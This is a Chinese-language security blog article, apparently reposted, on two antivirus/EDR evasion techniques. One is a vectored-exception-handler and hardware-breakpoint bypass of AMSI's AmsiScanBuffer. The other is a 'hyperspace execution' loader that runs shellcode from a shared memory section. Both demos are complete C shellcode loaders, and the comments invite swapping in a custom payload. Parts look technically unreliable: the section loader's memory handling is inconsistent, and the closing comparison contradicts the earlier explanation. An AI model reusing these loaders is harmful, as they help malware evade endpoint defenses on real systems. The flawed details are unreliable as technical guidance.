对于VEH、超空间执行的一点看法

admin 2026-01-15 00:04:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章解析VEH与超空间执行两种免杀技术。VEH利用异常处理及硬件断点劫持AmsiScanBuffer流程实现无代码修改绕过AMSI;超空间执行通过共享内存节加载恶意代码,伪装内存属性以规避EDR对私有可执行内存的检测。文章包含详细原理、代码Demo及技术对比,展示了对抗终端防御的高级攻防思路。 综合评分: 90 文章分类: 免杀,二进制安全,恶意软件,红队


cover_image

对于VEH、超空间执行的一点看法

原创

明天

DeepDark Sec

2026年1月13日 14:40 四川

免责声明: 本文仅为安全研究和学术交流目的而写,请遵守当地相关法律,任何非法使用均与作者无关。请在合法授权的前提下进行安全测试和研究。

山月不知心里事,水风空落眼前花

正文开始

VEH技术

VEH原理

VEH是Windows系统提供的用户态异常处理增强机制,相较于传统的结构化异常处理(SEH),其具备全局生效、优先级可调、注册灵活等特性,支持进程在运行时动态注册自定义异常处理回调函数。在Windows异常处理流程中,当进程触发各类异常(如断点异常、内存访问违规、整数溢出异常等)时,系统会首先遍历进程注册的VEH回调函数链表,只有当所有VEH回调均无法处理异常时,才会移交至SEH或系统默认异常处理逻辑。VEH免杀技术的核心在于巧妙利用这一异常处理优先级机制,构建“硬件断点触发-异常回调劫持-执行流程篡改”的协同技术链路,通过劫持关键API的执行流程,实现对恶意代码加载与执行过程的隐蔽控制,全程不修改目标API的代码段,从而规避代码完整性检测。

AMSI作为Windows系统级恶意代码扫描接口,被PowerShell、VBScript、Office宏等多种执行载体强制调用,其核心函数AmsiScanBuffer会对输入的脚本或代码进行恶意性判定,是防御恶意代码执行的关键防线。传统技术方案多通过直接修改AmsiScanBuffer函数的入口代码(如替换为ret指令)实现绕过,但此类代码篡改行为会被EDR的内存镜像比对机制精准捕获。通过复用系统调试与异常处理机制间接控制AmsiScanBuffer的执行结果

具体流程如下:

注册双VEH回调函数,明确功能分工:VEH1专门负责断点异常的捕获与硬件断点的设置,VEH2专门负责单步异常的处理与执行流程的篡改,双回调的分离设计可提升逻辑清晰度与稳定性;

通过调用DebugBreak()函数主动触发STATUS_BREAKPOINT断点异常,强制进程进入VEH回调处理流程,在VEH1回调函数中,通过NtGetContextThread获取当前线程上下文,并为AmsiScanBuffer函数的入口地址设置硬件执行断点(利用CPU调试寄存器Dr0-Dr3实现);

当系统或目标进程调用AmsiScanBuffer函数时,CPU执行到该函数入口地址会触发STATUS_SINGLE_STEP单步异常,系统优先调用VEH2回调函数处理该异常,实现对AmsiScanBuffer执行流程的精准劫持;

在VEH2回调函数中,通过修改线程上下文寄存器状态实现AMSI绕过:将AmsiScanBuffer的返回值寄存器Rax设为S_OK(0),表示扫描无恶意;同时修改函数的输出参数(结果标识)为AMSI_RESULT_CLEAN(1),确保上层调用者认可扫描结果;最后将指令指针寄存器Rip直接指向AmsiScanBuffer的返回地址,跳过函数主体的扫描逻辑,实现“调用即通过”的效果。

Demo

VEH回调函数注册→AmsiScanBuffer函数地址定位→硬件断点设置→单步异常捕获→执行流程篡改→Shellcode隐蔽加载。

#include&nbsp;<Windows.h>#include&nbsp;<winnt.h>#include&nbsp;<ntstatus.h>#include&nbsp;<stdio.h>#pragma&nbsp;comment(lib,&nbsp;"ntdll.lib")// 声明未公开的NTAPI函数EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtGetContextThread(HANDLE ThreadHandle, PCONTEXT ContextRecord);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtSetContextThread(HANDLE ThreadHandle, PCONTEXT ContextRecord);// 全局变量:保存AmsiScanBuffer地址、VEH句柄PVOID g_pAmsiScanBuffer =&nbsp;nullptr;PVOID g_pVEH1 =&nbsp;nullptr;PVOID g_pVEH2 =&nbsp;nullptr;// 恶意Shellcode(示例:弹出计算器,可替换为自定义Payload)unsigned&nbsp;char&nbsp;g_Shellcode[] = {&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xc9,&nbsp;0x48,&nbsp;0x81,&nbsp;0xe9,&nbsp;0xd0,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x48,&nbsp;0x8d,&nbsp;0x05,&nbsp;0xef,&nbsp;0xff,&nbsp;0xff,&nbsp; &nbsp;&nbsp;0xff,&nbsp;0x48,&nbsp;0xbb,&nbsp;0x31,&nbsp;0x63,&nbsp;0x61,&nbsp;0x6c,&nbsp;0x63,&nbsp;0x2e,&nbsp;0x65,&nbsp;0x78,&nbsp;0x48,&nbsp;0x31,&nbsp;0x58,&nbsp;0x2f,&nbsp;0x48,&nbsp; &nbsp;&nbsp;0x31,&nbsp;0xc0,&nbsp;0xac,&nbsp;0x3c,&nbsp;0x61,&nbsp;0x7c,&nbsp;0x2c,&nbsp;0x20,&nbsp;0x41,&nbsp;0xc1,&nbsp;0xc9,&nbsp;0x0d,&nbsp;0x41,&nbsp;0x01,&nbsp;0xc1,&nbsp;0xe2,&nbsp; &nbsp;&nbsp;0xed,&nbsp;0x48,&nbsp;0x31,&nbsp;0xc0,&nbsp;0x50,&nbsp;0x51,&nbsp;0x52,&nbsp;0x53,&nbsp;0x56,&nbsp;0x57,&nbsp;0x54,&nbsp;0x58,&nbsp;0x44,&nbsp;0x8b,&nbsp;0x2d,&nbsp;0x32,&nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x49,&nbsp;0x89,&nbsp;0xe5,&nbsp;0x49,&nbsp;0xc7,&nbsp;0xc1,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xc0,&nbsp; &nbsp;&nbsp;0x4d,&nbsp;0x31,&nbsp;0xc9,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xd2,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xdb,&nbsp;0x48,&nbsp;0xff,&nbsp;0xc0,&nbsp;0x48,&nbsp;0x89,&nbsp;0xc2,&nbsp;0x48,&nbsp; &nbsp;&nbsp;0xff,&nbsp;0xc0,&nbsp;0x48,&nbsp;0x89,&nbsp;0xc1,&nbsp;0x48,&nbsp;0x83,&nbsp;0xec,&nbsp;0x20,&nbsp;0x41,&nbsp;0xff,&nbsp;0xd5};// VEH2:处理单步异常,实现AMSI绕过LONG NTAPI&nbsp;VEH2(_EXCEPTION_POINTERS* ExceptionInfo)&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_SEARCH;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 检查是否命中AmsiScanBuffer的硬件断点&nbsp; &nbsp; CONTEXT* pContext = ExceptionInfo->ContextRecord;&nbsp; &nbsp;&nbsp;if&nbsp;(pContext->Rip == (DWORD64)g_pAmsiScanBuffer) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 1. 清除硬件断点(避免无限循环)&nbsp; &nbsp; &nbsp; &nbsp; pContext->Dr7 =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 修改返回值:Rax = S_OK (0)&nbsp; &nbsp; &nbsp; &nbsp; pContext->Rax =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 修改AmsiScanBuffer的结果参数(设为AMSI_RESULT_CLEAN)&nbsp; &nbsp; &nbsp; &nbsp; *(DWORD*)((DWORD64)pContext->Rsp +&nbsp;0x20) =&nbsp;1;&nbsp;// AMSI_RESULT_CLEAN = 1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 跳过AmsiScanBuffer主体,直接跳转到返回地址&nbsp; &nbsp; &nbsp; &nbsp; pContext->Rip = *(DWORD64*)((DWORD64)pContext->Rsp +&nbsp;0x8);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 5. 更新上下文&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NtSetContextThread(GetCurrentThread(), pContext);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_EXECUTION;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_SEARCH;}// VEH1:处理断点异常,设置硬件断点LONG NTAPI&nbsp;VEH1(_EXCEPTION_POINTERS* ExceptionInfo)&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_SEARCH;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 1. 获取当前线程上下文&nbsp; &nbsp; CONTEXT Context = {&nbsp;0&nbsp;};&nbsp; &nbsp; Context.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_CONTROL;&nbsp; &nbsp;&nbsp;NtGetContextThread(GetCurrentThread(), &Context);&nbsp; &nbsp;&nbsp;// 2. 为AmsiScanBuffer设置硬件断点(Dr0 = 函数地址,Dr7 = 断点类型)&nbsp; &nbsp; Context.Dr0 = (DWORD64)g_pAmsiScanBuffer;&nbsp; &nbsp; Context.Dr7 =&nbsp;0x00000001;&nbsp;// 启用Dr0的执行断点&nbsp; &nbsp;&nbsp;// 3. 注册VEH2,用于处理后续的单步异常&nbsp; &nbsp; g_pVEH2 =&nbsp;AddVectoredExceptionHandler(1, VEH2);&nbsp; &nbsp;&nbsp;if&nbsp;(!g_pVEH2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Add VEH2 Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_SEARCH;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 4. 更新上下文并继续执行&nbsp; &nbsp;&nbsp;NtSetContextThread(GetCurrentThread(), &Context);&nbsp; &nbsp;&nbsp;NtContinue(&Context, FALSE);&nbsp; &nbsp;&nbsp;return&nbsp;EXCEPTION_CONTINUE_EXECUTION;}// 初始化VEH并触发断点BOOL&nbsp;InitVEH()&nbsp;{&nbsp; &nbsp;&nbsp;// 1. 获取AmsiScanBuffer地址(通过加载amsi.dll)&nbsp; &nbsp; HMODULE hAmsi =&nbsp;LoadLibraryA("amsi.dll");&nbsp; &nbsp;&nbsp;if&nbsp;(!hAmsi) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Load amsi.dll Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;&nbsp; &nbsp; }&nbsp; &nbsp; g_pAmsiScanBuffer =&nbsp;GetProcAddress(hAmsi,&nbsp;"AmsiScanBuffer");&nbsp; &nbsp;&nbsp;if&nbsp;(!g_pAmsiScanBuffer) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Get AmsiScanBuffer Address Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;FreeLibrary(hAmsi);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;FreeLibrary(hAmsi);&nbsp; &nbsp;&nbsp;// 2. 注册VEH1&nbsp; &nbsp; g_pVEH1 =&nbsp;AddVectoredExceptionHandler(1, VEH1);&nbsp; &nbsp;&nbsp;if&nbsp;(!g_pVEH1) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Add VEH1 Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;FALSE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 3. 触发断点异常,进入VEH1&nbsp; &nbsp;&nbsp;DebugBreak();&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}// 加载并执行ShellcodeVOID&nbsp;ExecuteShellcode()&nbsp;{&nbsp; &nbsp;&nbsp;// 申请可读写内存(避免直接申请可执行内存)&nbsp; &nbsp; PVOID pMem =&nbsp;VirtualAlloc(NULL,&nbsp;sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);&nbsp; &nbsp;&nbsp;if&nbsp;(!pMem) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] VirtualAlloc Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 复制Shellcode到内存&nbsp; &nbsp;&nbsp;memcpy(pMem, g_Shellcode,&nbsp;sizeof(g_Shellcode));&nbsp; &nbsp;&nbsp;// 修改内存属性为可执行(按需修改,减少异常特征)&nbsp; &nbsp; DWORD dwOldProtect =&nbsp;0;&nbsp; &nbsp;&nbsp;if&nbsp;(!VirtualProtect(pMem,&nbsp;sizeof(g_Shellcode), PAGE_EXECUTE_READ, &dwOldProtect)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] VirtualProtect Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;VirtualFree(pMem,&nbsp;0, MEM_RELEASE);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 执行Shellcode&nbsp; &nbsp; ((VOID(*)())pMem)();&nbsp; &nbsp;&nbsp;// 清理资源&nbsp; &nbsp;&nbsp;VirtualProtect(pMem,&nbsp;sizeof(g_Shellcode), dwOldProtect, &dwOldProtect);&nbsp; &nbsp;&nbsp;VirtualFree(pMem,&nbsp;0, MEM_RELEASE);}int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;// 1. 初始化VEH&nbsp; &nbsp;&nbsp;if&nbsp;(!InitVEH()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Init VEH Failed\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf("[+] VEH Init Success\n");&nbsp; &nbsp;&nbsp;// 2. 执行恶意Shellcode&nbsp; &nbsp;&nbsp;ExecuteShellcode();&nbsp; &nbsp;&nbsp;// 3. 移除VEH(可选,增强隐蔽性)&nbsp; &nbsp;&nbsp;if&nbsp;(g_pVEH2)&nbsp;RemoveVectoredExceptionHandler(g_pVEH2);&nbsp; &nbsp;&nbsp;if&nbsp;(g_pVEH1)&nbsp;RemoveVectoredExceptionHandler(g_pVEH1);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

超空间执行

超空间执行原理

超空间执行(Hyperspace Execution)其核心设计思路是通过“内存节(Section)伪装与共享映射”,将恶意代码融入系统正常的内存管理逻辑,规避EDR对异常内存区域的识别与拦截。在Windows内存管理体系中,内存节是进程内存区域的核心管理单元,根据属性可分为私有节(MEM_PRIVATE)、镜像节(MEM_IMAGE)与共享节(MEM_MAPPED),其中私有节通常用于进程私有数据存储,是EDR重点监控的高风险区域。超空间执行技术的核心创新在于,摒弃传统通过VirtualAlloc函数申请私有内存的加载方式,转而通过NtCreateSection函数创建共享内存节,再将恶意代码映射至该内存节中,使恶意代码所在内存区域的属性(如SEC_COMMIT+PAGE_EXECUTE_READ)与系统合法程序的共享内存属性完全一致,从而实现“恶意代码在合法内存空间中隐蔽执行”的效果。

超空间执行的优点主要在在内存的合法化,

① 内存属性合规性:创建的内存节属性为共享(MEM_MAPPED)而非私有(MEM_PRIVATE),完全符合系统合法程序(如浏览器、办公软件)的内存使用规范,EDR基于“私有可执行内存=高风险”的判定逻辑无法触发告警;

② 执行流程隐蔽性:全程无需修改任何系统函数的代码段,通过内存映射机制直接加载并执行恶意代码,不存在传统注入技术的进程空间干扰行为,动态行为检测链路难以捕获异常;

③ 伪装灵活性:可结合多种合法文件句柄(如系统临时空白文件、系统合法驱动文件、普通文档文件等)创建内存节,通过文件句柄的合法性进一步提升内存区域的伪装效果,使EDR难以区分“正常内存映射”与“恶意内存映射”。

Demo

通过创建共享内存节加载并执行Shellcode,全程规避私有可执行内存的申请行为,实现对EDR内存扫描机制的有效绕过。

#include&nbsp;<Windows.h>#include&nbsp;<winnt.h>#include&nbsp;<ntstatus.h>#include&nbsp;<stdio.h>#include&nbsp;<shlwapi.h>#pragma&nbsp;comment(lib,&nbsp;"ntdll.lib")#pragma&nbsp;comment(lib,&nbsp;"shlwapi.lib")// 声明未公开的NTAPI函数EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtCreateSection(&nbsp; &nbsp; PHANDLE SectionHandle,&nbsp; &nbsp; ACCESS_MASK DesiredAccess,&nbsp; &nbsp; POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,&nbsp; &nbsp; PLARGE_INTEGER MaximumSize OPTIONAL,&nbsp; &nbsp; ULONG SectionPageProtection,&nbsp; &nbsp; ULONG AllocationAttributes,&nbsp; &nbsp; HANDLE FileHandle OPTIONAL);EXTERN_C NTSYSAPI NTSTATUS NTAPI&nbsp;NtMapViewOfSection(&nbsp; &nbsp; HANDLE SectionHandle,&nbsp; &nbsp; HANDLE ProcessHandle,&nbsp; &nbsp; PVOID* BaseAddress,&nbsp; &nbsp; ULONG_PTR ZeroBits,&nbsp; &nbsp; SIZE_T CommitSize,&nbsp; &nbsp; PLARGE_INTEGER SectionOffset OPTIONAL,&nbsp; &nbsp; PSIZE_T ViewSize,&nbsp; &nbsp; SECTION_INHERIT InheritDisposition,&nbsp; &nbsp; ULONG AllocationType,&nbsp; &nbsp; ULONG Protect);// 恶意Shellcode(示例:弹出计算器)unsigned&nbsp;char&nbsp;g_Shellcode[] = {&nbsp; &nbsp;&nbsp;0x48,&nbsp;0x31,&nbsp;0xc9,&nbsp;0x48,&nbsp;0x81,&nbsp;0xe9,&nbsp;0xd0,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x48,&nbsp;0x8d,&nbsp;0x05,&nbsp;0xef,&nbsp;0xff,&nbsp;0xff,&nbsp; &nbsp;&nbsp;0xff,&nbsp;0x48,&nbsp;0xbb,&nbsp;0x31,&nbsp;0x63,&nbsp;0x61,&nbsp;0x6c,&nbsp;0x63,&nbsp;0x2e,&nbsp;0x65,&nbsp;0x78,&nbsp;0x48,&nbsp;0x31,&nbsp;0x58,&nbsp;0x2f,&nbsp;0x48,&nbsp; &nbsp;&nbsp;0x31,&nbsp;0xc0,&nbsp;0xac,&nbsp;0x3c,&nbsp;0x61,&nbsp;0x7c,&nbsp;0x2c,&nbsp;0x20,&nbsp;0x41,&nbsp;0xc1,&nbsp;0xc9,&nbsp;0x0d,&nbsp;0x41,&nbsp;0x01,&nbsp;0xc1,&nbsp;0xe2,&nbsp; &nbsp;&nbsp;0xed,&nbsp;0x48,&nbsp;0x31,&nbsp;0xc0,&nbsp;0x50,&nbsp;0x51,&nbsp;0x52,&nbsp;0x53,&nbsp;0x56,&nbsp;0x57,&nbsp;0x54,&nbsp;0x58,&nbsp;0x44,&nbsp;0x8b,&nbsp;0x2d,&nbsp;0x32,&nbsp; &nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x49,&nbsp;0x89,&nbsp;0xe5,&nbsp;0x49,&nbsp;0xc7,&nbsp;0xc1,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xc0,&nbsp; &nbsp;&nbsp;0x4d,&nbsp;0x31,&nbsp;0xc9,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xd2,&nbsp;0x4d,&nbsp;0x31,&nbsp;0xdb,&nbsp;0x48,&nbsp;0xff,&nbsp;0xc0,&nbsp;0x48,&nbsp;0x89,&nbsp;0xc2,&nbsp;0x48,&nbsp; &nbsp;&nbsp;0xff,&nbsp;0xc0,&nbsp;0x48,&nbsp;0x89,&nbsp;0xc1,&nbsp;0x48,&nbsp;0x83,&nbsp;0xec,&nbsp;0x20,&nbsp;0x41,&nbsp;0xff,&nbsp;0xd5};// 创建临时空白文件HANDLE&nbsp;CreateTempFile()&nbsp;{&nbsp; &nbsp; WCHAR szTempPath[MAX_PATH] = {&nbsp;0&nbsp;};&nbsp; &nbsp; WCHAR szTempFile[MAX_PATH] = {&nbsp;0&nbsp;};&nbsp; &nbsp;&nbsp;// 获取系统临时目录&nbsp; &nbsp;&nbsp;if&nbsp;(!GetTempPathW(MAX_PATH, szTempPath)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] GetTempPathW Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;INVALID_HANDLE_VALUE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 生成临时文件名&nbsp; &nbsp;&nbsp;if&nbsp;(!GetTempFileNameW(szTempPath,&nbsp;L"HS_",&nbsp;0, szTempFile)) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] GetTempFileNameW Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;INVALID_HANDLE_VALUE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 打开临时文件(创建空白文件)&nbsp; &nbsp; HANDLE hTempFile =&nbsp;CreateFileW(&nbsp; &nbsp; &nbsp; &nbsp; szTempFile,&nbsp; &nbsp; &nbsp; &nbsp; GENERIC_READ | GENERIC_WRITE,&nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp; &nbsp; &nbsp; &nbsp; CREATE_ALWAYS,&nbsp; &nbsp; &nbsp; &nbsp; FILE_ATTRIBUTE_NORMAL,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL&nbsp; &nbsp; );&nbsp; &nbsp;&nbsp;if&nbsp;(hTempFile == INVALID_HANDLE_VALUE) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] CreateFileW Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;INVALID_HANDLE_VALUE;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 删除临时文件(保留句柄,文件会在句柄关闭后自动删除)&nbsp; &nbsp;&nbsp;DeleteFileW(szTempFile);&nbsp; &nbsp;&nbsp;return&nbsp;hTempFile;}// 超空间执行核心函数BOOL&nbsp;HyperspaceExecute()&nbsp;{&nbsp; &nbsp; HANDLE hTempFile = INVALID_HANDLE_VALUE;&nbsp; &nbsp; HANDLE hSection =&nbsp;NULL;&nbsp; &nbsp; PVOID pMapAddr =&nbsp;NULL;&nbsp; &nbsp; SIZE_T dwViewSize =&nbsp;sizeof(g_Shellcode);&nbsp; &nbsp; LARGE_INTEGER liFileSize = {&nbsp;0&nbsp;};&nbsp; &nbsp; liFileSize.QuadPart = dwViewSize;&nbsp; &nbsp; __try {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 1. 创建临时空白文件,获取文件句柄&nbsp; &nbsp; &nbsp; &nbsp; hTempFile =&nbsp;CreateTempFile();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hTempFile == INVALID_HANDLE_VALUE) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __leave;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 设置文件大小&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!SetFilePointerEx(hTempFile, liFileSize,&nbsp;NULL, FILE_BEGIN) || !SetEndOfFile(hTempFile)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] SetFileSize Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __leave;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 创建共享内存节&nbsp; &nbsp; &nbsp; &nbsp; NTSTATUS status =&nbsp;NtCreateSection(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &hSection,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SECTION_ALL_ACCESS,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &liFileSize,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PAGE_READWRITE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SEC_COMMIT | SEC_SHARED,&nbsp;// 共享内存节,关键属性&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hTempFile&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] NtCreateSection Failed: 0x%X\n", status);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __leave;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 映射内存节到当前进程地址空间&nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;NtMapViewOfSection(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hSection,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;GetCurrentProcess(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &pMapAddr,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NULL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &dwViewSize,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ViewShare,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PAGE_READWRITE&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!NT_SUCCESS(status)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] NtMapViewOfSection Failed: 0x%X\n", status);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __leave;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 5. 将Shellcode写入共享内存节&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(pMapAddr, g_Shellcode, dwViewSize);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Shellcode Write to Hyperspace Success: 0x%p\n", pMapAddr);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 6. 修改内存属性为可执行&nbsp; &nbsp; &nbsp; &nbsp; DWORD dwOldProtect =&nbsp;0;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!VirtualProtect(pMapAddr, dwViewSize, PAGE_EXECUTE_READ, &dwOldProtect)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] VirtualProtect Failed: %d\n",&nbsp;GetLastError());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; __leave;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 7. 执行Shellcode&nbsp; &nbsp; &nbsp; &nbsp; ((VOID(*)())pMapAddr)();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Shellcode Execute Success\n");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;TRUE;&nbsp; &nbsp; }&nbsp; &nbsp; __finally {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 清理资源&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pMapAddr)&nbsp;VirtualFree(pMapAddr,&nbsp;0, MEM_RELEASE);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hSection)&nbsp;CloseHandle(hSection);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(hTempFile != INVALID_HANDLE_VALUE)&nbsp;CloseHandle(hTempFile);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;FALSE;}int&nbsp;main()&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(HyperspaceExecute()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[+] Hyperspace Execution Success\n");&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("[-] Hyperspace Execution Failed\n");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}

两者的区别

两种技术在对抗内存扫描方面都有比较好的效果,VEH主要是通过阻止EDR进行内存扫描,超空间执行则利用 Windows 内核 hyperspace(一个专用虚拟地址空间)或 hypervisor 虚拟化执行代码

